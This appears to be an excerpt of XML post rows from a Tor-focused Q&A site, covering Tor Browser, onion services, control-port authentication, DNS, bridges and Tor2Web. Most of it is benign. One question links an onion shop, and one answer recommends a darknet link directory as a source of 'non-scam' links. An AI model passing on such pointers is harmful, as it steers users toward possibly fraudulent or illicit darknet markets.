  <row Id="22289" PostTypeId="2" ParentId="22254" CreationDate="2021-04-16T11:05:39.083" Score="0" Body="&lt;p&gt;Like Steve said it could install malware if you're running older versions of Tor.&#xA;Also, going to sketchy sites saying they have free movies and all that can bring malware with it.&lt;/p&gt;&#xA;&lt;p&gt;Tl;Dr It could potentially give you malware, just update the browser and use your common sense.&lt;/p&gt;&#xA;&lt;p&gt;-Sam&lt;/p&gt;&#xA;" OwnerUserId="32226" LastActivityDate="2021-04-16T11:05:39.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22290" PostTypeId="2" ParentId="22286" CreationDate="2021-04-17T04:56:41.197" Score="0" Body="&lt;p&gt;You can find these in the service's hidden service descriptor document. Tor clients download these documents when a user wants to connect to a specific onion service, but you can also download these manually using the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=7424472d21725077f83aa9ff19e64ae530798d27#n1608&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HSFETCH&lt;/code&gt; command&lt;/a&gt; with Tor's control port. The Stem library &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.get_hidden_service_descriptor&quot; rel=&quot;nofollow noreferrer&quot;&gt;provides a Python interface&lt;/a&gt; to do this, but claims that only v2 services are supported (I'm not sure if the documentation is just out of date). After sending this &lt;code&gt;HSFETCH&lt;/code&gt; command, tor will return a &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=7424472d21725077f83aa9ff19e64ae530798d27#n3567&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HS_DESC_CONTENT&lt;/code&gt; event&lt;/a&gt; containing the introduction points.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-17T04:56:41.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22291" PostTypeId="1" CreationDate="2021-04-17T19:37:48.537" Score="1" ViewCount="75" Body="&lt;p&gt;I used to use the Tor browser many years ago, but I uninstalled and hadn't used it until today. When I checked the browser again, I was surprised to find no Torbutton or TorLauncher addons in &lt;code&gt;about:addons&lt;/code&gt;. What happened? Why were they removed? Here is what the &lt;code&gt;about:addons&lt;/code&gt; page used to look like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WJU0p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJU0p.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user32230" LastActivityDate="2021-04-17T19:37:48.537" Title="Why are the Tor button and Tor launcher addons no longer visible in the about:addons page?" Tags="|add-on|tor-button|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22292" PostTypeId="1" CreationDate="2021-04-18T11:50:16.270" Score="0" ViewCount="247" Body="&lt;p&gt;Why is not tor relays chain shown in tor browser?&lt;/p&gt;&#xA;&lt;p&gt;When you press lock or onion icon near the url you should see chain like your browser &amp;gt; Germany (ip) &amp;gt; France (ip) &amp;gt; USA (ip) &amp;gt; clearnet site (or relay &amp;gt; relay &amp;gt; relay &amp;gt; onionsite). But I just see &amp;quot;Connection secure&amp;quot; and &amp;quot;permissions&amp;quot;. where's that chain? Also theres no button NEW CIRCUIT FOR THIS SITE. Is it ok (at least uncomfortable)? I checked ip, it's differnt. I use whonix with xfce. thanks a lot foryour help.&lt;/p&gt;&#xA;&lt;p&gt;screenhot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3XuPq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3XuPq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;i have tor uptodate&lt;/p&gt;&#xA;" OwnerUserId="32237" LastEditorUserId="88" LastEditDate="2021-04-24T18:04:34.667" LastActivityDate="2022-02-19T11:07:05.690" Title="Why is not tor relays chain shown in tor browser?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22293" PostTypeId="1" CreationDate="2021-04-19T07:49:10.670" Score="0" ViewCount="324" Body="&lt;p&gt;After reading about Tor's authentication mechanisms based on cookies:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/faq.html#i-m-using-cookie-authentication&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/faq.html#i-m-using-cookie-authentication&lt;/a&gt; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/faq.html#i-m-using-safe-cookie-authentication&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/faq.html#i-m-using-safe-cookie-authentication&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;it looks to me that if an adversory has access to &lt;code&gt;/home/atagar/.tor/control_auth_cookie&lt;/code&gt; file, then the adversory can authenticate to Tor control. Is that correct? Am I missing something?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&lt;p&gt;PS: That being said, in what environment would you use cookie authentication and where would you use safe-cookie authentication?&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2022-01-16T02:02:20.243" Title="Cookie vs safe-cookie authentication and an adversory with access to cookie file" Tags="|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22294" PostTypeId="1" CreationDate="2021-04-19T13:50:23.087" Score="0" ViewCount="115" Body="&lt;p&gt;i want to know if i can buy in this site, they offer also a money back guarantee.&#xA;&lt;a href=&quot;http://hiddencrztrqz2h6bjito56pzdamwvhwssnhhghfvumfebuk5aejtlad.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hiddencrztrqz2h6bjito56pzdamwvhwssnhhghfvumfebuk5aejtlad.onion/&lt;/a&gt;&#xA;If someone has already buy from this site or know that it is a scam please let me know.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="32244" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:50.057" LastActivityDate="2021-05-25T20:41:50.057" Title="Someone know if this site is a scam?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22295" PostTypeId="2" ParentId="22294" CreationDate="2021-04-19T14:18:28.780" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Or if someone know a good place for buying hardware for my pc on dark web&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Please, do not buy hardware on the DarkWeb. It is mostly scam and when not, it is stolen property and buying it is not a good idea. Best, non-scam, up to date links you can find at &lt;a href=&quot;http://darkfailllnkf4vf.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://darkfailllnkf4vf.onion/&lt;/a&gt; (I don't vouch for this site, neither any sites by this link, information is solely for education, usage of anything by the link is solely your responsibility).&lt;/p&gt;&#xA;&lt;p&gt;Best of luck.&lt;/p&gt;&#xA;" OwnerUserId="32245" LastActivityDate="2021-04-19T14:18:28.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22297" PostTypeId="1" AcceptedAnswerId="22298" CreationDate="2021-04-20T09:44:19.713" Score="0" ViewCount="50" Body="&lt;p&gt;I am reading that logging into diferent profiles on diferent platforms will make me loose my protection.&lt;/p&gt;&#xA;&lt;p&gt;But if i log out and start a new Tor session, shouldnt i appear as another person and regain my protection? Or have i affected my protection permanently?&lt;/p&gt;&#xA;" OwnerUserId="32254" LastActivityDate="2021-04-20T20:28:41.097" Title="Logging into profiles with Tor" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22298" PostTypeId="2" ParentId="22297" CreationDate="2021-04-20T20:18:37.383" Score="0" Body="&lt;p&gt;Yes, by logging into different websites using the Tor browser, you lose your anonymity since the website can fingerprint/track you. But by starting a new Tor session, you regain you anonymity. There is no permanent effect.&lt;/p&gt;&#xA;&lt;p&gt;By clicking the &lt;code&gt;New identity&lt;/code&gt; button or closing the Tor browser and reopening it, all cookies/trackers placed on your previous session are cleared and a new Tor circuit is created (which is done every time a new website is visited anyways).&lt;/p&gt;&#xA;&lt;p&gt;If you want a more in-depth version of what the &lt;code&gt;New Identity&lt;/code&gt; button does, visit: &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#new-identity&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/#new-identity&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-20T20:28:41.097" LastActivityDate="2021-04-20T20:28:41.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22299" PostTypeId="2" ParentId="22293" CreationDate="2021-04-21T00:52:35.077" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;it looks to me that if an adversory has access to /home/atagar/.tor/control_auth_cookie file, then the adversory can authenticate to Tor control. Is that correct? Am I missing something?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, if an adversary has access to the cookie file, they can authenticate with Tor's control port. This file won't always be located at that path, and on Debian-based distros the system-default data directory is &lt;code&gt;/var/lib/tor&lt;/code&gt; which is only accessible to the &lt;code&gt;debian-tor&lt;/code&gt;. You can also specify a different path with the &lt;code&gt;CookieAuthFile&lt;/code&gt; option.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PS: That being said, in what environment would you use cookie authentication and where would you use safe-cookie authentication?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Basic cookie authentication is unsafe and deprecated (see section 5.1 of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control spec document&lt;/a&gt;), and may be removed from tor in the future. You should use the safe cookie authentication method.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-21T00:52:35.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22300" PostTypeId="1" AcceptedAnswerId="22303" CreationDate="2021-04-21T05:41:58.160" Score="1" ViewCount="4091" Body="&lt;p&gt;How do I generate vanity onion addresses of &lt;em&gt;the Tor Rendezvous specification &lt;strong&gt;version 3&lt;/strong&gt;&lt;/em&gt;? &lt;em&gt;Scallion&lt;/em&gt; does not support it.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scallion README.md&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scallion&lt;/strong&gt; was a hobby project to learn OpenCL and RSA. We are not currently maintaining scallion. It has bitrotted in two important ways:&lt;/p&gt;&#xA;&lt;p&gt;Tor has moved on to &lt;a href=&quot;https://github.com/torproject/torspec/blob/master/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;v3 Onion addresses&lt;/a&gt;, which scallion does not support. Old v2 addresses will stop working in October of 2021. The new spec uses different cryptographic primitives and is overall more complicated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://old.reddit.com/r/onions/wiki/index#wiki_types_of_.onion_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;Types of .onion addresses&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;h2&gt;v2 onion services&lt;/h2&gt;&#xA;&lt;p&gt;They will always be 16 characters long. Each character has 32 possible values. Therefore, there are 3216 == 1,208,925,819,614,629,174,706,176 unique v2 onion addresses.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Example = &lt;code&gt;facebookcorewwwi.onion&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The address is &amp;quot;the first 80 bits of the SHA-1 of the 1024-bit RSA key&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;v3 onion services&lt;/h2&gt;&#xA;&lt;p&gt;They will always be 56 characters long. A v3 address will always end in a &lt;code&gt;d&lt;/code&gt; due to the way v3 onion service names are encoded.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Example = &lt;code&gt;vww6ybal4bd7szmgncyruucpgfkqahzddi37ktceo3ah7ngmcopnpyyd.onion&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Some reasons for the update to move from v2 onions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The cryptographic building blocks use updated or more secure signature algorithms and hashing methods. For instance, the older SHA1/DH/RSA1024 was swapped with SHA3/ed25519/curve25519.&lt;/li&gt;&#xA;&lt;li&gt;Directory protocol has been improved and now leaks less metadata to directory servers. This is, in part, to avoid attacks where a hidden service can be censored easily based on the descriptor. To prevent predictability Tor uses, different, pseudo random variables. Time period, public keys, shared random values, etc.&lt;/li&gt;&#xA;&lt;li&gt;“Better onion address security against impersonation; more extensible introduction/rendezvous protocol; and a cleaner and more modular codebase.”&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27424" LastActivityDate="2022-04-17T06:18:28.167" Title="How do I generate “version 3” vanity onion addresses?" Tags="|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22302" PostTypeId="2" ParentId="17461" CreationDate="2021-04-21T14:23:10.013" Score="0" Body="&lt;p&gt;I found this, maybe is what you ar looking for: &lt;a href=&quot;https://github.com/bcapptain/dockernymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bcapptain/dockernymous&lt;/a&gt; is like Whonix with Docker, creates 2 containers and redirects all traffic from container 1 through container 2, and container 2 has tor connection that anonymizes everything.&lt;/p&gt;&#xA;" OwnerUserId="32265" LastActivityDate="2021-04-21T14:23:10.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22303" PostTypeId="2" ParentId="22300" CreationDate="2021-04-21T19:48:13.457" Score="2" Body="&lt;p&gt;I've used &lt;a href=&quot;https://github.com/cathugger/mkp224o&quot; rel=&quot;nofollow noreferrer&quot;&gt;mkp224o&lt;/a&gt; to generate V3 onion addresses.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2021-04-21T19:48:13.457" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22305" PostTypeId="1" CreationDate="2021-04-21T22:37:27.190" Score="0" ViewCount="32" Body="&lt;p&gt;It seems clear to me that Tor has some facility for discovering when connectivity within a circuit is lost.  I'd like to find that point and add a &lt;code&gt;log_debug&lt;/code&gt; into it, as the current Tor logging does not seem to clearly and obviously call these things out.  Can anyone point me into the correct source file?&lt;/p&gt;&#xA;&lt;p&gt;So far I've been looking into the various &lt;code&gt;onion_skin&lt;/code&gt; methods, but those seem to be used most when creating new circuits.  I'm looking for something more general: ideally, to log both &amp;quot;this circuit cannot be brought up because node X cannot be reached&amp;quot; and &amp;quot;this existing circuit is failing because node X cannot be reached.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Many thanks to anyone who can offer some light.&lt;/p&gt;&#xA;" OwnerUserId="32269" LastActivityDate="2022-01-17T05:02:55.293" Title="Where in the codebase does Tor detect outages?" Tags="|relays|circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22306" PostTypeId="2" ParentId="22305" CreationDate="2021-04-22T03:17:58.037" Score="0" Body="&lt;p&gt;You may be interested in using a Tor control library (for example &lt;a href=&quot;https://stem.torproject.org/tutorials/tortoise_and_the_hare.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt;) to listen to events and log them. Check out sections 4.1.1 and 4.1.2 of the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control protocol document&lt;/a&gt; for examples of the types of &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.CircuitEvent&quot; rel=&quot;nofollow noreferrer&quot;&gt;circuit&lt;/a&gt; and &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.StreamEvent&quot; rel=&quot;nofollow noreferrer&quot;&gt;stream&lt;/a&gt; events you can listen for. This can also tell you the &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.CircClosureReason&quot; rel=&quot;nofollow noreferrer&quot;&gt;reason&lt;/a&gt; why a circuit or stream was closed.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-22T03:17:58.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22307" PostTypeId="1" CreationDate="2021-04-22T04:42:15.970" Score="0" ViewCount="477" Body="&lt;p&gt;can DNS be tracked if I am using TOR without using more protection like VPN? For example, If someone tries to target me and have a DNS lookup, it will show my original DNS or I need to change it?&#xA;Thank You&lt;/p&gt;&#xA;" OwnerUserId="32271" LastActivityDate="2022-02-17T01:04:00.373" Title="Can DNS be tracked in tor?" Tags="|tor-browser-bundle|vpn|dns|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22308" PostTypeId="2" ParentId="22307" CreationDate="2021-04-22T06:11:50.900" Score="0" Body="&lt;p&gt;no, exit nodes caches dns record and your dns lookup will be performed on exit relays. (i mean your tor browser not your system dns lookup ofcourse) also&lt;/p&gt;&#xA;&lt;p&gt;tor+vpn is 99% a bad idea since you should trust the provider not to 'man in the middle' you&lt;/p&gt;&#xA;" OwnerDisplayName="user32272" LastActivityDate="2021-04-22T06:11:50.900" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22311" PostTypeId="1" AcceptedAnswerId="22330" CreationDate="2021-04-22T12:07:55.150" Score="1" ViewCount="195" Body="&lt;p&gt;If any country censoring Tor, such as Iran or China, decided to host bridge relays, won't they be able to figure out where Tor users are and then could take action?&lt;/p&gt;&#xA;&lt;p&gt;For example, if the Chinese government or its allies decided to run Meek bridges, they could find the IP addresses of Chinese Tor users and eventually identify and possibly arrest these Tor users.&lt;/p&gt;&#xA;&lt;p&gt;Does the Tor Project protect Tor users in countries which censor Tor from this?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-23T00:40:18.377" LastActivityDate="2021-04-25T07:20:54.637" Title="If countries which censor the Tor network control bridges, they can identify Tor users in their own country and take action" Tags="|bridge|censorship|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22312" PostTypeId="1" CreationDate="2021-04-22T13:18:58.957" Score="1" ViewCount="79" Body="&lt;p&gt;I am trying to figure out if TOR is implementing session resumption or not. Last open discussion I found was this one: &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/issues/17252&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/legacy/trac/-/issues/17252&lt;/a&gt; which seems to say that it is enabled.&lt;/p&gt;&#xA;&lt;p&gt;However, TOR's ClientHello messages do not support most of the extensions required to do session resumption (&lt;code&gt;session_ticket&lt;/code&gt; and &lt;code&gt;psk_key_exchange_modes&lt;/code&gt; in particular, though &lt;code&gt;key_exchange&lt;/code&gt; is there).&#xA;What is the current status on session resumption? I'd bet disabled, but then I am wondering why that decision was made, based on the last thread I found?&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="32275" LastEditorUserId="32275" LastEditDate="2021-04-23T11:19:36.357" LastActivityDate="2021-05-23T12:01:10.093" Title="TLS Session Resumption - Enabled or not?" Tags="|performance|tls|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22313" PostTypeId="1" CreationDate="2021-04-22T19:21:56.040" Score="0" ViewCount="58" Body="&lt;p&gt;If this is something for the Information Security Stack Exchange I understand. I want to know if this hypothetical setup is reasonably secure to the point where it can't be conventionally hacked remotely over Tor, from which it is accessible, and for it to be hacked the attacker would have to be using a 0 day or something. The server would be running on bare metal from my network, not on a VPS. Behind a router. Running the latest version of OpenBSD, OpenSSH, and httpd. OpenSSH would be restricted to only allowing local connections. httpd would be running under an OpenBSD VM, using the native &lt;code&gt;vmm&lt;/code&gt; hypervisor built into the kernel. As said, httpd would route through Tor. OpenSSH would be running on the host machine, and I would manage the httpd VM by SSHing to the host and connecting using the native &lt;code&gt;vmctl&lt;/code&gt; serial console. Both SSH and HTTP would be configured to run on abnormal port numbers in the thousands range to obscure it, and this would make it unlikely for the HTTP site to get indexed a by a crawler so only my friends who I notify of the address and port number would be able to view it. It would just serve static HTML pages and run for a few hours max when I feel like showing it to my friends. Is this reasonably secure?&lt;/p&gt;&#xA;" OwnerUserId="31161" LastEditorUserId="31161" LastEditDate="2021-04-22T20:37:44.727" LastActivityDate="2021-04-22T20:37:44.727" Title="Would this be a reasonably secure website?" Tags="|security|website|https|server|openbsd|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22314" PostTypeId="2" ParentId="22312" CreationDate="2021-04-22T21:14:51.630" Score="1" Body="&lt;p&gt;In the past, the Tor browser used to block TLS session resumption entirely because it could fingerprint users. However, the Tor browser now isolates TLS session resumption to the URL and re-enables it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/17252&quot; rel=&quot;nofollow noreferrer&quot;&gt;This issue&lt;/a&gt; which was asking to bind TLS session resumption to the URL has now been closed as the Tor browser has now been configured to do this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xYvIg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYvIg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I hope this answers your question!&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-22T21:32:01.410" LastActivityDate="2021-04-22T21:32:01.410" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22315" PostTypeId="2" ParentId="22307" CreationDate="2021-04-22T21:23:38.417" Score="0" Body="&lt;p&gt;Your DNS queries will be routed through Tor. Websites you access, specifically host names when your browser sends a query (DMS), will not be visible to your ISP.&#xA;It should be noted however that your ISP will be able to see that you are using Tor. To obfuscate this you need to use a bridge.&lt;/p&gt;&#xA;" OwnerUserId="32001" LastActivityDate="2021-04-22T21:23:38.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22316" PostTypeId="1" CreationDate="2021-04-22T21:38:52.790" Score="1" ViewCount="72" Body="&lt;p&gt;After a specific amount of time, do bridges generated from &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org&lt;/a&gt; become useless in circumventing Tor censorship? Do these bridges eventually become recognized as Tor bridges? What if these bridges come with a pluggable transport such as Obfs4 or Meek?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-04-28T09:23:57.900" Title="Do bridges become useless after a certain amount of time?" Tags="|bridge|censorship|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22318" PostTypeId="5" CreationDate="2021-04-22T22:07:13.773" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://tor2web.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor2web&lt;/a&gt; is a software project that allows Tor secret services to be accessed  from a standard browser that is not connected to the Tor network. It was developed by Aaron Swartz and Virgil Griffith in 2008.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:00:09.250" LastActivityDate="2021-05-04T22:00:09.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22319" PostTypeId="4" CreationDate="2021-04-22T22:07:13.773" Score="0" Body="This tag is to be used for questions about Tor2Web, such as how it functions and issues with using it." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T21:59:46.637" LastActivityDate="2021-05-04T21:59:46.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22320" PostTypeId="1" AcceptedAnswerId="22323" CreationDate="2021-04-22T22:12:20.547" Score="0" ViewCount="118" Body="&lt;p&gt;If I use Tor2Web on a normal web browser such as Google Chrome, can ISPs monitor or intercept my connection with a hidden service?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-04-28T15:45:15.700" Title="Can ISPs see my connection with a hidden service if I use Tor2Web or a similar proxy?" Tags="|tor2web|internet-service-provider|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22321" PostTypeId="5" CreationDate="2021-04-22T22:16:53.637" Score="0" Body="&lt;p&gt;An Internet service provider or ISP, is a company that offers a variety of Internet-related services such as access, use, and participation. Internet service providers come in a variety of shapes and sizes, including commercial, community-owned, non-profit, and privately owned.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:00:16.633" LastActivityDate="2021-05-04T22:00:16.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22322" PostTypeId="4" CreationDate="2021-04-22T22:16:53.637" Score="0" Body="This tag should be used for questions about internet service providers, such as ISPs blocking Tor connections." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:26.453" LastActivityDate="2021-05-04T22:04:26.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22323" PostTypeId="2" ParentId="22320" CreationDate="2021-04-23T14:58:28.860" Score="1" Body="&lt;p&gt;They can see that you are connecting to that proxy. They cannot see what you are doing there, because it is HTTPS. However, it is far less secure than using TOR, because, if they seize that proxy server, they can see everything you are doing on the dark web.&lt;/p&gt;&#xA;" OwnerUserId="27924" LastActivityDate="2021-04-23T14:58:28.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22324" PostTypeId="1" CreationDate="2021-04-23T20:10:16.933" Score="0" ViewCount="469" Body="&lt;p&gt;Would 2FA (let's say FreeOTP) work on Tor given the demands for privacy? Can I implement a 2FA solution on a onion website without giving away the servers location in any way along with the users on that website being able to use 2FA to access their accounts while at the same time nobody can discover where they are located?&lt;/p&gt;&#xA;&lt;p&gt;As far I undertand you can run the authenticator from your phone without being connected to the internet however is there something that could compromise the servers or clients location if the server was seized?&lt;/p&gt;&#xA;&lt;p&gt;I am basically looking for an anonymous 2FA solution that won't leak anyones location. Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="32281" LastActivityDate="2022-01-26T21:05:55.533" Title="Anonymous 2FA solution for an onion website?" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22325" PostTypeId="2" ParentId="22292" CreationDate="2021-04-24T18:13:32.953" Score="0" Body="&lt;p&gt;I think that the best option is to uninstall the Tor browser completely, then reinstall it again with the latest version. Perhaps something may have gone wrong in the Tor browser's installation and you may have to install it again.&lt;/p&gt;&#xA;&lt;p&gt;If that still doesn't work, then file an issue in the Tor project's gitlab, located here: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues&lt;/a&gt;. List your OS details and browser details so it easier for the Tor project to handle the issue. If you are not able to create the issue yourself, just ask me to do it and I will ASAP.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-04-24T18:13:32.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22326" PostTypeId="2" ParentId="22324" CreationDate="2021-04-24T19:32:19.897" Score="0" Body="&lt;p&gt;2FA in general has nothing to do with physical location. Some like HOTP may require you to store information about how to contact the user to send the code (such as an email address), but others like TOTP depends only on a shared secret and the current time (you can see the general requirements &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6238#section-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). Authenticator apps (like those used for TOTP) have no need to access the network, but some do for additional features (such as Authy, which can backup the TOTP secrets in the cloud). TOTP-based 2FA seems like the simplest 2FA solution for onion services.&lt;/p&gt;&#xA;&lt;p&gt;Of course, requiring 2FA means that the user is only pseudo-anonymous. The server will be able to track each time that same user authenticates, across every session.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2021-04-24T19:40:31.713" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
